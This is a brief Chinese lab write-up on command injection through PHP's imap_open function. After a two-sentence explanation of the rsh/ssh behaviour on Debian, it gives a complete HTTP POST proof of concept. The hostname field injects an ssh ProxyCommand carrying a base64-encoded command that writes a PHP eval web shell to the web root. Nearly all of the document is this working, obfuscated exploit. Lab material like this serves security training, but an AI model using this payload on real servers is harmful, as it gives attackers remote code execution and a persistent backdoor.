一、靶场介绍
php imap扩展用于在PHP中执行邮件收发操作。其imap_open函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。

二、POC
base64编码


python
POST / HTTP/1.1
Host: 127.0.0.1:13440
Content-Length: 154
Cache-Control: max-age=0
Origin: http://127.0.0.1:13440
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://127.0.0.1:13440
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
hostname=x+-oProxyCommand%3decho%09ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbImNtZCJdKTsnID4gL3Zhci93d3cvaHRtbC9hLnBocA==|base64%09-d|sh}a&username=222&password=333